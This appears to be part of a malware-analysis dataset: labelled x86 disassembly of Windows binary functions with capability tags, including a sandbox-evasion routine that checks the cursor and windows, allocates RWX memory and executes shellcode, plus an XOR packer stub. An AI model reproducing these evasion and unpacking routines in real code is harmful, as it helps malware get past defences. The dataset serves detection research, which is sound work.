joyce8/EMBER2024-capa huggingface dataset:
Function at 0x426458
Capabilities:
Delete registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
xor ebx, ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x42656c
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 0xc], 0
je 0x42648d
mov eax, dword [ebp - 0xc]
cmp word [eax], 0
jne 0x4264d2
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegDeleteKeyW
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x426548
push 0
lea edx, [ebp - 0x18]
mov eax, dword [0x436bc0]
call fcn.00409578
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 8]
mov dword [ebp - 0x20], edx
mov byte [ebp - 0x1c], 0xa
lea ecx, [ebp - 0x20]
mov edx, 1
call fcn.0042a3c8
jmp 0x426548
mov eax, dword [ebp - 0xc]
call fcn.00419fec
push eax
mov eax, dword [ebp - 0xc]
push eax
push 1
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueW
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x42651f
mov eax, dword [ebp - 8]
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x2c], 0xa
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x24], 0xa
lea edx, [ebp - 0x30]
mov eax, 0x42657c
mov ecx, 1
call fcn.00423c4c
jmp 0x426548
push 0
lea edx, [ebp - 0x34]
mov eax, dword [0x436a88]
call fcn.00409578
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 8]
mov dword [ebp - 0x20], edx
mov byte [ebp - 0x1c], 0xa
lea ecx, [ebp - 0x20]
mov edx, 1
call fcn.0042a3c8
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x426573
lea eax, [ebp - 0x34]
call fcn.00406a1c
lea eax, [ebp - 0x18]
call fcn.00406a1c
ret
Function at 0x4271bc
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffebc
mov dword [ebp - 4], eax
mov word [ebp - 6], 0
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CreateFileW_1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x42726e
lea edx, [ebp - 0x50]
mov ecx, 0x40
mov eax, dword [ebp - 0xc]
call fcn.00414a4c
cmp word [ebp - 0x50], 0x5a4d
jne 0x427265
xor ecx, ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
call fcn.00414a78
lea edx, [ebp - 0x10]
mov ecx, 4
mov eax, dword [ebp - 0xc]
call fcn.00414a4c
cmp dword [ebp - 0x10], 0x4550
jne 0x427265
lea edx, [ebp - 0x64]
mov ecx, 0x14
mov eax, dword [ebp - 0xc]
call fcn.00414a4c
cmp word [ebp - 0x54], 0
jbe 0x427265
lea edx, [ebp - 0x144]
mov ecx, 0xe0
mov eax, dword [ebp - 0xc]
call fcn.00414a4c
mov ax, word [ebp - 0x100]
mov word [ebp - 6], ax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov ax, word [ebp - 6]
mov esp, ebp
pop ebp
ret

Function at 0x42a210
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd8
xor edx, edx
mov dword [ebp - 0x228], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x42a336
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0xc], 0x3d
mov ax, word [ebp - 4]
dec eax
add ax, 0x41
mov word [ebp - 0xa], ax
mov word [ebp - 8], 0x3a
mov word [ebp - 6], 0
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0xc]
call fcn.00420fe8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x42a27d
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_SetCurrentDirectoryW
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
jne 0x42a311
cmp dword [ebp - 0x10], 0
je 0x42a297
push 1
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 0x18], eax
mov ax, word [ebp - 0xa]
mov word [ebp - 0x222], ax
mov ax, word [ebp - 8]
mov word [ebp - 0x220], ax
mov word [ebp - 0x21e], 0x5c
mov word [ebp - 0x21c], 0
lea edx, [ebp - 0x222]
lea eax, [ebp - 0xc]
call fcn.00421324
lea eax, [ebp - 0x222]
push eax
call sub.kernel32.dll_SetCurrentDirectoryW
test eax, eax
jne 0x42a302
push 0xffffffffffffffff
lea edx, [ebp - 0x228]
mov eax, dword [0x4369e8]
call fcn.00409578
mov eax, dword [ebp - 0x228]
lea ecx, [ebp - 0x228]
xor edx, edx
call fcn.0042a3c8
cmp dword [ebp - 0x10], 0
je 0x42a311
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_SetErrorMode
mov eax, dword [0x436d4c]
xor edx, edx
call fcn.004230a8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42a33d
lea eax, [ebp - 0x228]
call fcn.00406a1c
ret
Function at 0x42ab98
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x10], eax
push 1
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_TerminateProcess
test eax, eax
jne 0x42abc2
call sub.kernel32.dll_GetLastError_2
mov dword [0x4368dc], eax
cmp dword [ebp - 8], 0
je 0x42abd3
mov eax, dword [ebp - 4]
call fcn.0042abe0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x42ae04
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov word [ebp - 2], ax
mov ax, word [ebp - 2]
mov word [ebp - 0xc], ax
mov word [ebp - 0xa], 0x3a
mov word [ebp - 8], 0x5c
mov word [ebp - 6], 0
lea eax, [ebp - 0xc]
push eax
call sub.kernel32.dll_GetDriveTypeW
cmp eax, 1
ja 0x42ae3c
mov byte [ebp - 3], 0
jmp 0x42ae40
mov byte [ebp - 3], 1
mov al, byte [ebp - 3]
mov esp, ebp
pop ebp
ret

Function at 0x42ae48
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd4
mov word [ebp - 2], ax
mov ax, word [ebp - 2]
mov word [ebp - 0x16], ax
mov word [ebp - 0x14], 0x3a
mov word [ebp - 0x12], 0x5c
mov word [ebp - 0x10], 0
lea eax, [ebp - 0x16]
push eax
call sub.kernel32.dll_GetDriveTypeW
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
ja 0x42ae87
mov byte [ebp - 3], 1
jmp 0x42aed0
cmp dword [ebp - 0x1c], 2
je 0x42aecc
cmp dword [ebp - 0x1c], 5
je 0x42aecc
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x104
lea eax, [ebp - 0x22a]
push eax
lea eax, [ebp - 0x16]
push eax
call sub.kernel32.dll_GetVolumeInformationW
test eax, eax
jne 0x42aecc
call sub.kernel32.dll_GetLastError_2
cmp eax, 5
jne 0x42aecc
mov byte [ebp - 3], 1
jmp 0x42aed0
mov byte [ebp - 3], 0
mov al, byte [ebp - 3]
mov esp, ebp
pop ebp
ret
Function at 0x42b4d4
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x42b5bd
mov eax, dword [0x436a70]
cmp dword [eax], 0
jne 0x42b5bd
mov eax, dword [0x436968]
cmp byte [eax], 0
jne 0x42b5bd
mov eax, 0x20c
call fcn.00403f2c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x42b5bd
push 0x104
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_GetConsoleTitleW
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x42b5bd
mov eax, dword [ebp - 4]
call fcn.00419fec
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
add eax, dword [0x44f96c]
add eax, 0xa
mov edx, eax
add edx, edx
lea eax, [ebp - 0x10]
call fcn.00403f60
cmp dword [ebp - 0x10], 0
je 0x42b5bd
mov eax, dword [0x436b24]
cmp byte [eax], 0
je 0x42b57f
mov eax, dword [0x44f96c]
add eax, eax
add eax, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
call fcn.0041a014
jmp 0x42b5ac
mov edx, 0x42b5c4
mov eax, dword [ebp - 0x10]
call fcn.0041a048
mov eax, dword [ebp - 0x10]
call fcn.00419fec
mov dword [0x44f96c], eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
call fcn.0041a048
mov eax, dword [0x436b24]
mov byte [eax], 1
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_SetConsoleTitleW
mov eax, dword [ebp - 0x10]
call fcn.00403f48
mov esp, ebp
pop ebp
ret
Function at 0x42ba00
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0042b9c0
inc eax
jne 0x42bb87
mov eax, dword [ebp - 4]
call fcn.00406e38
mov dword [ebp - 0xc], eax
mov eax, dword [0x436a80]
mov eax, dword [eax]
call fcn.00407bd4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
inc eax
push eax
mov eax, dword [0x436a80]
mov ecx, 1
mov edx, dword [0x419d88]
call fcn.00407df0
add esp, 4
mov eax, dword [ebp - 0xc]
lea eax, [eax + eax*2]
call fcn.00403f2c
mov edx, dword [ebp - 0x10]
lea edx, [edx + edx*2]
mov ecx, dword [0x436a80]
mov ecx, dword [ecx]
mov dword [ecx + edx*8], eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [0x436a80]
mov edx, dword [edx]
mov eax, dword [edx + eax*8]
mov edx, dword [ebp - 4]
call fcn.00414b70
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [0x436a80]
mov edx, dword [edx]
mov ecx, dword [ebp - 8]
mov dword [edx + eax*8 + 4], ecx
mov eax, dword [ebp - 8]
push eax
call sub.msvcrt.dll__get_osfhandle
pop ecx
mov edx, dword [ebp - 0x10]
lea edx, [edx + edx*2]
mov ecx, dword [0x436a80]
mov ecx, dword [ecx]
mov dword [ecx + edx*8 + 8], eax
push 2
push 0
push 0
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [0x436a80]
mov edx, dword [edx]
mov eax, dword [edx + eax*8 + 8]
push eax
call sub.kernel32.dll_SetFilePointer_1
mov edx, dword [ebp - 0x10]
lea edx, [edx + edx*2]
mov ecx, dword [0x436a80]
mov ecx, dword [ecx]
mov dword [ecx + edx*8 + 0xc], eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [0x436a80]
mov edx, dword [edx]
mov eax, dword [edx + eax*8 + 0xc]
call fcn.00403f2c
mov edx, dword [ebp - 0x10]
lea edx, [edx + edx*2]
mov ecx, dword [0x436a80]
mov ecx, dword [ecx]
mov dword [ecx + edx*8 + 0x10], eax
push 0
push 0
push 0
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [0x436a80]
mov edx, dword [edx]
mov eax, dword [edx + eax*8 + 8]
push eax
call sub.kernel32.dll_SetFilePointer_1
push 0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [0x436a80]
mov edx, dword [edx]
mov eax, dword [edx + eax*8 + 0xc]
push eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [0x436a80]
mov edx, dword [edx]
mov eax, dword [edx + eax*8 + 0x10]
push eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [0x436a80]
mov edx, dword [edx]
mov eax, dword [edx + eax*8 + 8]
push eax
call sub.kernel32.dll_ReadFile_1
mov eax, dword [ebp - 0x10]
lea eax, [eax + eax*2]
mov edx, dword [0x436a80]
mov edx, dword [edx]
xor ecx, ecx
mov dword [edx + eax*8 + 0x14], ecx
mov esp, ebp
pop ebp
ret
Function at 0x42dcb4
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd84
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00419fec
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x24], eax
jmp 0x42dcf0
inc dword [ebp - 0x20]
jmp 0x42dce7
add dword [ebp - 0x24], 2
mov eax, dword [ebp - 0x24]
cmp word [eax], 0
jne 0x42dce3
mov eax, dword [ebp - 0x24]
cmp word [eax], 0
jne 0x42dcde
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp + 8]
sar eax, 1
jns 0x42dd06
adc eax, 0
inc eax
add eax, dword [ebp - 0x1c]
add eax, eax
imul dword [ebp - 0x20]
call fcn.00403f2c
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
jmp 0x42dd62
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x28]
call fcn.00419e80
mov eax, dword [ebp - 0x1c]
add eax, eax
add eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
call fcn.0041a014
mov eax, dword [ebp - 0x1c]
add eax, eax
add dword [ebp - 0x28], eax
jmp 0x42dd55
add dword [ebp - 0x24], 2
add dword [ebp - 0x28], 2
mov eax, dword [ebp - 0x24]
cmp word [eax], 0
jne 0x42dd4d
add dword [ebp - 0x28], 2
mov eax, dword [ebp - 0x24]
cmp word [eax], 0
jne 0x42dd25
mov eax, dword [ebp - 0x28]
mov word [eax], 0
add dword [ebp - 0x28], 2
mov eax, dword [ebp - 0x2c]
push eax
push 1
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0042ea1c
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x2c]
call fcn.00403f48
mov eax, dword [ebp - 8]
mov word [eax], 0x2a
mov eax, dword [ebp - 8]
mov word [eax + 2], 0
lea eax, [ebp - 0x27c]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_FindFirstFileW_1
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
mov word [eax], 0
cmp dword [ebp - 0x14], 0xffffffff
je 0x42de6c
lea edx, [ebp - 0x250]
mov eax, dword [ebp - 8]
call fcn.0041a014
test byte [ebp - 0x27c], 0x10
je 0x42de4b
mov edx, 0x42de7c
lea eax, [ebp - 0x250]
call fcn.00414c00
test eax, eax
je 0x42de4b
mov edx, 0x42de80
lea eax, [ebp - 0x250]
call fcn.00414c00
test eax, eax
je 0x42de4b
mov eax, dword [ebp - 8]
call fcn.0041a1cc
mov dword [ebp - 0x24], eax
add dword [ebp - 0x24], 2
mov eax, dword [ebp - 0x24]
mov word [eax], 0x5c
add dword [ebp - 0x24], 2
mov eax, dword [ebp - 0x24]
mov word [eax], 0
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 4]
call fcn.0042dcb4
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x27c]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_FindNextFileW
test eax, eax
jne 0x42ddcc
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_FindClose_1
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Check for foreground window switch
Check for time delay via gettickcount
Check for unmoving mouse cursor
Execute shellcode via indirect call

Disassembly:
xor eax, eax
jmp 0x401064
mov edi, edi
push ebp
mov ebp, esp
jmp 0x4010cb
sub esp, 0x20
mov eax, dword [0x404008]
cmp eax, 0
jne 0x40114f
mov eax, dword [0x40400c]
jmp 0x401145
cmp eax, 0
jne 0x40114f
jmp 0x4012f4
call sub.KERNEL32.DLL_GetTickCount
mov dword [ebp - 4], eax
push 0x1388
jmp 0x4011be
call sub.KERNEL32.DLL_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x40114f
mov dword [ebp - 0x14], eax
jmp 0x401239
call sub.KERNEL32.DLL_GetTickCount
sub eax, dword [ebp - 4]
cmp eax, 0x1388
jl 0x40114f
lea eax, [ebp - 8]
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x40114f
mov eax, dword [0x404008]
cmp eax, 0
je 0x4012d1
push 0x3e8
call sub.KERNEL32.DLL_Sleep
lea eax, [ebp - 0x10]
jmp 0x4012ae
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x401268
mov eax, dword [ebp - 4]
mov ebx, dword [ebp - 0xc]
cmp eax, ebx
je 0x40114f
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0x10]
cmp eax, ebx
je 0x401268
mov eax, dword [0x40400c]
cmp eax, 0
je 0x4012f4
push 0x1388
call sub.KERNEL32.DLL_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x4012d1
cmp eax, dword [ebp - 0x14]
je 0x4012d1
push dword [section.data]
mov eax, 0x40401a
mov ebx, 0x404302
sub ebx, eax
jmp 0x401316
push ebx
push 0x40401a
call fcn.0040130b
lea eax, [ebp - 4]
push eax
jmp 0x401394
push pe_nt_image_headers32
mov eax, 0x401537
mov ebx, 0x4030d1
sub ebx, eax
mov dword [ebp - 0x14], ebx
push ebx
push 0x401537
jmp 0x40141b
call sub.KERNEL32.DLL_VirtualProtect
push dword [0x404004]
mov eax, dword [ebp - 0x14]
push eax
push 0x401537
call fcn.0040130b
lea eax, [ebp - 4]
push eax
jmp 0x40151c
push dword [eax]
mov eax, dword [ebp - 0x14]
push eax
push 0x401537
call sub.KERNEL32.DLL_VirtualProtect
jmp 0x401537
push esi
push esi
push esi
push esi
xchg ecx, eax
fadd qword [eax]
add byte [esi + 0xce9a], ch
scasb al, byte es:[edi]
les eax, [ebp + 0x102e0086]
into
add byte [eax], al
salc
add byte [eax], al
add byte [esi], ch
enter 0, 0xffffffffffffffac
add byte [esi], ch
xor byte [ebp + 0x6f70000], ch
syscall
xchg ebx, eax
dec edi
and eax, dword [ebp + 0x2a]
out 0x95, al
xchg edi, eax
xchg esp, eax
xchg ecx, eax
nop
test dword [esi], 0x4f3a834f
cmp dword [esi], 0x4f
xor dword [edx], 0x4f
xor dword [esi], 0x4f
sub dword [edx], 0x4f
sub dword [esi], 0x4f
and dword [edx], 0x2e
fcmovnb st(0), st(5)
add byte [eax], al
dec edi
cmp dword [edx], 0xffffffae
ret 0xc7
Function at 0x431003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43100c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43101e
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x43c300
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push esi
push edi
mov ebp, dword [esp + 0x1c]
mov ebx, dword [esp + 0x24]
mov esi, dword [ebx]
mov edi, dword [ebx + 4]
push edi
push esi
push edi
push esi
mov ebx, esp
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
mov ecx, dword [esp + 0x38]
push ecx
mov eax, dword [esp + 0x34]
push eax
push ebx
cmp ecx, 0
je 0x43c3db
and ebp, 0xfffffff8
mov eax, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
je 0x43c376
mov ecx, dword [esi]
mov edx, dword [esi + 4]
xor eax, ecx
xor ebx, edx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], ebx
call fcn.0043bf40
mov eax, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
mov dword [edi], eax
mov dword [edi + 4], ebx
add esi, 8
add edi, 8
sub ebp, 8
jne 0x43c344
mov ebp, dword [esp + 0x38]
and ebp, 7
je 0x43c494
call fcn.0043c388
and ebp, 0xfffffff8
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
je 0x43c433
mov eax, dword [esi]
mov ebx, dword [esi + 4]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], ebx
call fcn.0043bf40
mov eax, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
xor ecx, eax
xor edx, ebx
mov eax, dword [esi]
mov ebx, dword [esi + 4]
mov dword [edi], ecx
mov dword [edi + 4], edx
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ebx
add esi, 8
add edi, 8
sub ebp, 8
jne 0x43c3ec
mov ebp, dword [esp + 0x38]
and ebp, 7
je 0x43c494
mov eax, dword [esi]
mov ebx, dword [esi + 4]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], ebx
call fcn.0043bf40
mov eax, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
xor ecx, eax
xor edx, ebx
mov eax, dword [esi]
mov ebx, dword [esi + 4]
ror edx, 0x10
mov byte [edi + 6], dl
shr edx, 0x10
mov byte [edi + 5], dh
mov byte [edi + 4], dl
mov dword [edi], ecx
jmp 0x43c48f
jmp 0x43c494
mov ecx, dword [esp + 0x40]
add esp, 0x1c
mov dword [ecx], eax
mov dword [ecx + 4], ebx
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x43c500
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push esi
push edi
mov ebp, dword [esp + 0x1c]
mov ebx, dword [esp + 0x2c]
mov esi, dword [ebx]
mov edi, dword [ebx + 4]
push edi
push esi
push edi
push esi
mov ebx, esp
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x38]
push eax
mov eax, dword [esp + 0x38]
push eax
mov eax, dword [esp + 0x38]
push eax
push ebx
cmp ecx, 0
je 0x43c5e4
and ebp, 0xfffffff8
mov eax, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
je 0x43c57f
mov ecx, dword [esi]
mov edx, dword [esi + 4]
xor eax, ecx
xor ebx, edx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ebx
call fcn.0043c0a0
mov eax, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
mov dword [edi], eax
mov dword [edi + 4], ebx
add esi, 8
add edi, 8
sub ebp, 8
jne 0x43c54d
mov ebp, dword [esp + 0x3c]
and ebp, 7
je 0x43c69d
call fcn.0043c591
and ebp, 0xfffffff8
mov eax, dword [esp + 0x18]
mov ebx, dword [esp + 0x1c]
je 0x43c63c
mov eax, dword [esi]
mov ebx, dword [esi + 4]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ebx
call fcn.0043c1d0
mov eax, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
xor ecx, eax
xor edx, ebx
mov eax, dword [esi]
mov ebx, dword [esi + 4]
mov dword [edi], ecx
mov dword [edi + 4], edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ebx
add esi, 8
add edi, 8
sub ebp, 8
jne 0x43c5f5
mov ebp, dword [esp + 0x3c]
and ebp, 7
je 0x43c69d
mov eax, dword [esi]
mov ebx, dword [esi + 4]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ebx
call fcn.0043c1d0
mov eax, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
xor ecx, eax
xor edx, ebx
mov eax, dword [esi]
mov ebx, dword [esi + 4]
ror edx, 0x10
mov byte [edi + 6], dl
shr edx, 0x10
mov byte [edi + 5], dh
mov byte [edi + 4], dl
mov dword [edi], ecx
jmp 0x43c698
jmp 0x43c69d
mov ecx, dword [esp + 0x4c]
add esp, 0x20
mov dword [ecx], eax
mov dword [ecx + 4], ebx
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x43d740
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push esi
push edi
mov ebp, dword [esp + 0x1c]
mov ebx, dword [esp + 0x24]
mov esi, dword [ebx]
mov edi, dword [ebx + 4]
push edi
push esi
push edi
push esi
mov ebx, esp
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x30]
push eax
push ebx
cmp ecx, 0
je 0x43d82a
and ebp, 0xfffffff8
mov eax, dword [esp + 8]
mov ebx, dword [esp + 0xc]
je 0x43d7bd
mov ecx, dword [esi]
mov edx, dword [esi + 4]
xor eax, ecx
xor ebx, edx
bswap eax
bswap ebx
mov dword [esp + 8], eax
mov dword [esp + 0xc], ebx
call fcn.0043cf00
mov eax, dword [esp + 8]
mov ebx, dword [esp + 0xc]
bswap eax
bswap ebx
mov dword [edi], eax
mov dword [edi + 4], ebx
add esi, 8
add edi, 8
sub ebp, 8
jne 0x43d783
mov ebp, dword [esp + 0x34]
and ebp, 7
je 0x43d8f3
call fcn.0043d7cf
and ebp, 0xfffffff8
mov eax, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
je 0x43d88a
mov eax, dword [esi]
mov ebx, dword [esi + 4]
bswap eax
bswap ebx
mov dword [esp + 8], eax
mov dword [esp + 0xc], ebx
call fcn.0043d320
mov eax, dword [esp + 8]
mov ebx, dword [esp + 0xc]
bswap eax
bswap ebx
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
xor ecx, eax
xor edx, ebx
mov eax, dword [esi]
mov ebx, dword [esi + 4]
mov dword [edi], ecx
mov dword [edi + 4], edx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ebx
add esi, 8
add edi, 8
sub ebp, 8
jne 0x43d83b
mov ebp, dword [esp + 0x34]
and ebp, 7
je 0x43d8f3
mov eax, dword [esi]
mov ebx, dword [esi + 4]
bswap eax
bswap ebx
mov dword [esp + 8], eax
mov dword [esp + 0xc], ebx
call fcn.0043d320
mov eax, dword [esp + 8]
mov ebx, dword [esp + 0xc]
bswap eax
bswap ebx
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
xor ecx, eax
xor edx, ebx
mov eax, dword [esi]
mov ebx, dword [esi + 4]
ror edx, 0x10
mov byte [edi + 6], dl
shr edx, 0x10
mov byte [edi + 5], dh
mov byte [edi + 4], dl
mov dword [edi], ecx
jmp 0x43d8ee
jmp 0x43d8f3
mov ecx, dword [esp + 0x3c]
add esp, 0x18
mov dword [ecx], eax
mov dword [ecx + 4], ebx
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x43e620
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [edx]
shl ecx, 4
movups xmm1, xmmword [edx + 0x10]
xorps xmm2, xmm0
pxor xmm3, xmm0
movups xmm0, xmmword [edx + 0x20]
lea edx, [edx + ecx + 0x20]
neg ecx
add ecx, 0x10
aesenc xmm2, xmm1
aesenc xmm3, xmm1
movups xmm1, xmmword [edx + ecx]
add ecx, 0x20
aesenc xmm2, xmm0
aesenc xmm3, xmm0
movups xmm0, xmmword [edx + ecx - 0x10]
jne 0x43e63e
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenclast xmm2, xmm0
aesenclast xmm3, xmm0
ret

Function at 0x43e680
Capabilities:
Decrypt data using aes via x86 extensions

Disassembly:
movups xmm0, xmmword [edx]
shl ecx, 4
movups xmm1, xmmword [edx + 0x10]
xorps xmm2, xmm0
pxor xmm3, xmm0
movups xmm0, xmmword [edx + 0x20]
lea edx, [edx + ecx + 0x20]
neg ecx
add ecx, 0x10
aesdec xmm2, xmm1
aesdec xmm3, xmm1
